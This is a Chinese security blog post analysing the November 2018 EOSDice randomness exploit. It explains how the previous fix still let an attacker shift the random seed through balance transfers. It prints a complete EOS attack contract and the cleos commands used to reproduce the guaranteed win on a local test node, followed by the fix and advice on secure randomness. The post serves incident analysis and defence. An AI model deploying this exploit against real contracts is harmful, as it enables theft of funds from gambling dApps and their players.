EOS DApp 随机数漏洞分析2 - EOSDice 随机数被操控

EOSDice 在2018年11月10日再次受到黑客攻击,被盗4,633 EOS,约合 2.51 万美元,针对这个漏洞,零时科技团队进行了详细的分析及攻击过程复盘,尽管这个漏洞已经发生过一段时间,不过因随机数被预测依旧值得大家关注。

漏洞背景

EOSDice 在上一次漏洞修复后,2018年11月10日再次受到黑客攻击,根据EOSDice官方通告,此次攻击共被盗4,633 EOS,约合 2.51 万美元(当时 1 EOS ≈ 5.42 USD),

技术分析

2018年11月3日,也就是一周前,EOSDice因为dApp中存在可被预测随机数漏洞被黑客攻击,在前一篇文章中已经分析过了黑客的攻击手法 EOS dApp 漏洞盘点-EOSDice弱随机数漏洞1。然而,上次的官方修复仍然存在问题,导致再次被黑客攻击。

我们再来分析一下EOSDice上次遭受攻击后官方的修复方法:

  • 开奖action由一次defer改为两次defer

漏洞修复 两次defer action

两次defer action代码在这个提交

我们做了一个两次defer action开奖示意图:

两次defer action开奖

可以看到,通过两次defer action开奖的时候,开奖actionrefer block为下注的block,下注前无法预测。

  • 账户的余额用很多账户的总和加起来当成随机数种子

多账户余额

漏洞修复代码在这个提交

本次修改看似无懈可击,不过还有一点EOSDice官方没有想到。我们来看看eosio.token的转账代码。

可以看到,当A账户给B账户转账的时候,转账通知会先发送给A账户,再发送给B账户。那么,黑客可以部署一个攻击合约,当黑客通过此账号来进行游戏的时候,攻击合约肯定先于EOSDice官方合约收到转账通知。黑客可以同样做一个两次defer action来预测随机数

下图是利用攻击合约预测随机数。

可以看到,黑客完全可以通过攻击合约来预测随机数的结果。不过,问题来了由于使用了两次defer action进行开奖,那么这个结果是黑客无法在下注前得到的。因此,黑客要对EOSDice进行攻击只能另辟蹊径。

用户测试的攻击合约

因为EOSDice中,随机数种子是很多账户余额的总和,黑客完全可以通过计算能让黑客稳赢的状态下这个余额的值,然后在给任意账户转账即可控制EOSDice的随机数结果。下面我们编写一个测试合约进行试验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"

#define EOS_SYMBOL S(4, EOS)

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;


class attack : public eosio::contract {
public:
uint64_t id = 66;
attack(account_name self):eosio::contract(self)
{}

uint8_t random(account_name name, uint64_t game_id, uint64_t add)
{
auto eos_token = eosio::token(N(eosio.token));
asset pool_eos = eos_token.get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
asset ram_eos = eos_token.get_balance(N(eosio.ram), symbol_type(S(4, EOS)).name());
asset betdiceadmin_eos = eos_token.get_balance(N(betdiceadmin), symbol_type(S(4, EOS)).name());
asset newdexpocket_eos = eos_token.get_balance(N(newdexpocket), symbol_type(S(4, EOS)).name());
asset chintailease_eos = eos_token.get_balance(N(chintailease), symbol_type(S(4, EOS)).name());
asset eosbiggame44_eos = eos_token.get_balance(N(eosbiggame44), symbol_type(S(4, EOS)).name());
asset total_eos = asset(0, EOS_SYMBOL);

total_eos = pool_eos + ram_eos + betdiceadmin_eos + newdexpocket_eos + chintailease_eos + eosbiggame44_eos;
auto amount = total_eos.amount + add;
auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + amount;
print("[ATTACK RANDOM]tapos_block_prefix=>",(uint64_t)tapos_block_prefix(),"|tapos_block_num=>",(uint64_t)tapos_block_num(),"|name=>",name,"|game_id=>",game_id,"|current_time=>",current_time(),"|total=>",amount,"\n");

const char *mixedChar = reinterpret_cast<const char *>(&mixd);

checksum256 result;
sha256((char *)mixedChar, sizeof(mixedChar), &result);

uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
return (uint8_t)(random_num % 100 + 1);
}

//@abi action
void transfer(account_name from,account_name to,asset quantity,std::string memo)
{
if (from == N(eosbocai2222))
{
return;
}
transaction txn{};
txn.actions.emplace_back(
action(eosio::permission_level(_self, N(active)),
_self,
N(reveal1),
std::make_tuple(id)
)
);
txn.delay_sec = 2;
txn.send(now(), _self, false);

print("[ATTACK] current_time => ", current_time(), "\n");
}

//@abi action
void reveal1(uint64_t id)
{
transaction txn{};
txn.actions.emplace_back(
action(eosio::permission_level(_self, N(active)),
_self,
N(reveal2),
std::make_tuple(id)
)
);
txn.delay_sec = 2;
txn.send(now(), _self, false);
print("[ATTACK REVEAL1] current_time => ", current_time(), "\n");
}

//@abi action
void reveal2(uint64_t id)
{
std::string memo = "noneage";
print("[ATTACK REVEAL2] current_time => ", current_time(), "\n");

for(int i=0;i<=100;i++)
{
uint8_t r = random(_self, 87, i);
if((uint64_t)r < 6)
{
print("[PREDICT RANDOM] random = ", (uint64_t)r, "\n");
if(i > 0)
{
action(permission_level(_self, N(active)),
N(eosio.token),
N(transfer),
std::make_tuple(_self, N(eosbiggame44), asset(i, EOS_SYMBOL), memo))
.send();
}
break;
}
}
}
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
}

EOSIO_ABI_EX( attack,
(transfer)(reveal1)(reveal2)
)

在这个攻击合约里,我们模仿了EOSDice同样进行了两次defer action。在第二次defer action中,我们计算出随机数小于6的情况下,需要的总余额比原先的增加多少,然后利用一个inline actioneosbiggame44账户转账,因为攻击合约先于EOSDice官方合约执行,所以最终控制了EOSDice的随机数结果。

测试流程

  1. 创建相关账户并设置权限
1
2
3
4
5
6
7
8
9
10
11
12
# 攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p attacker@owner
# EOSDice 官方账户
cleos create account eosio eosbocai2222 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission eosbocai2222 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbocai2222","permission":"eosio.code"},"weight":1}]}' owner -p eosbocai2222@owner
# 其他需要的账户
cleos create account eosio eosio.ram EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio betdiceadmin EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio newdexpocket EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio chintailease EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbiggame44 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
  1. 向相关账户充值
1
2
3
4
5
6
7
cleos push action eosio.token issue '["attacker", "1000.0000 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "232323.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosio.ram", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["betdiceadmin", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["newdexpocket", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["chintailease", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbiggame44", "23.2333 EOS", "1"]' -p eosio
  1. 编译相关合约并部署
1
2
3
4
5
6
7
8
9
10
11
12
# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract ~/attack -p attack@owner

# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp
# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p eosbocai2222@owner
cleos set abi eosbocai2222 eosdice.abi -p eosbocai2222@owner
  1. 初始化EOSDice合约
1
cleos push action eosbocai2222 init '[""]' -p eosbocai2222
  1. 进行游戏(测试)
1
cleos push action eosio.token transfer '["attacker","eosbocai2222","1.0000 EOS", "dice-8-6-user"]' -p attacker@owner
  1. 查看测试结果
    现在,我们来看看测试结果

测试结果

经过攻击合约多次计算,找到只需要余额比之前多 0.0021 EOS 即可让本次投注中奖,然后再向eosbiggame44转入了0.0021 EOS,最终中奖,获得了19.7000 EOS(投入1 EOS)。

可以看到,利用攻击合约来控制EOSDice的随机数,可以达到必中的效果!

官方修复

官方修复很简单,在随机数算法中将账户余额这个可控因子删除了。

可控因子删除

上述的攻击合约便无法通过转账控制随机数的结果。

推荐修复方法

如何得到安全的随机数是一个普遍的难题,在区块链上尤其困难,因为区块链上无法获取外部随机源。

关于区块链随机数,推荐阅读区块链上的随机性(一)概述与构造区块链上的构建随机性的项目分析

要在区块链上选择一个无法被提前预知种子确实困难。零时科技安全专家推荐参考 EOS 官方的随机数生成方法来生成较为安全的随机数。

文章用到的所有代码均在github, 本文所有过程均在本地测试节点完成。

参考链接

  1. eos 文档-生成随机数
  2. eosdice 合约源码
  3. EOS上如何安全生成随机数

本文由深入浅出区块链社区合作伙伴-零时科技安全团队提供。

深入浅出区块链 - 系统学习区块链,学区块链都在这里,打造最好的区块链技术博客。

LBC-Team wechat
微信号:深入浅出区块链技术,欢迎订阅
0%